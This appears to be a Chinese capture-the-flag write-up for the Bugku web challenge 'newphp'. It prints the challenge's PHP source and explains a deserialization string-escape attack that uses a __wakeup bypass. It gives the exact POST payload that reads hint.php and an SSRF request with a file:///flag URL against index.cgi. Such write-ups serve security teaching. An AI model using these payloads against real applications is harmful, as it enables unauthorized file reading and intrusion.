【bugku-WEB】 newphp

考点

反序列化字符串逃逸

ssrf

解题思路

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);

class evil{
public $hint;

public function __construct($hint){
$this->hint = $hint;
}

public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}

function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}

class User
{
public $username;
public $password;

public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}

}

function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}

function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");

unserialize(read(write($a)));

一般看到有unserialize函数,基本上就知道是反序列化类型的题,审计代码的时候首先找到利用的点。

在evil类的__destruct方法中

1
2
3
4
5
6
7
8
public function __destruct(){
# $this->hint 必须为hint.php
if($this->hint==="hint.php")
# 读取文件hint.php内容 并且base64编码 重新赋值给$this->hint
@$this->hint = base64_encode(file_get_contents($this->hint));
# 输出
var_dump($this->hint);
}

目的很明确,我们需要通过反序列化evil类来读取hint.php文件查看提示,先在自己搭建环境构造序列化字符串。

image-20210808152720551

得到反序列化字符串

1
O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}

找到可以执行反序列化的地方。

1
2
3
4
5
6
7
8
9
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");

unserialize(read(write($a)));

可以看到这里并不能直接对evil类进行序列化,首先POST接收了两个参数,然后通过两个参数创建了User类,并且进行了序列化,最后通过write和read函数进行替换后才进行反序列化。

关键点就在这两个函数,这两个函数是造成字符串逃逸的关键因素。

1
2
3
4
5
6
7
8
9
10
11
12
13
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}

function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
# write方法会将 带有*的字符串替换成 \0\0\0 而read方法则相反,会将\0\0\0 替换成*

可以看到\0\0\0会被替换成*,那在反序列化之前使用这两个函数会有什么问题呢?

首先通过username和password 进行传参,并把刚刚序列化得到的字符串传入进去。

image-20210808154648128

如果直接这样传入进去,后边的O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}就会被丢弃,O:4:"User":2O代表着对象,4代表对象名的字符长度,User就是对象名,2就代表着有两个属性,2个属性就只会读取O:4:"User":2:{s:8:"username";s:3:"123";s:8:"password";, 后边的就会被丢弃。

这里我们可以利用字符串替换进行逃逸,我们传入一组 \00\00\00

没被替换前得到

1
O:4:"User":2:{s:8:"username";s:6:"\0\0\0";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}

经过write和read替换后

1
O:4:"User":2:{s:8:"username";s:6:"*";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}

可以发现变成了s:6:"*"; 这样会意味着 这里要吃掉 *";s:8 变成 *";s:8 ,但是后边没有闭合,所以会出错。如果我们想逃逸出O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";},那就必须吃掉 ";s:8:"password";s:41:"这23个字符,而一组\0\0\0 能吃掉三个,这三个字符由chr(0).'*'.chr(0) 组成的三个,那么就需要8组\0\0\0 ,这样就得到24个,另外再由password加上一个任意字符凑齐24个,将evil的属性个数改为2绕过__wakeup方法检测。

image-20210808161719792

payload

1
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

得到base64编码的字符串

1
2
3
4
5
PD9waHAKICRoaW50ID0gImluZGV4LmNnaSI7CiAvLyBZb3UgY2FuJ3Qgc2VlIG1lfgo=
解码
<?php
$hint = "index.cgi";
// You can't see mefgo

访问index.cgi

ssrf

获取flag的payload

1
http://114.67.246.176:17691/index.cgi?name=%20file:///flag

image-20210808162527929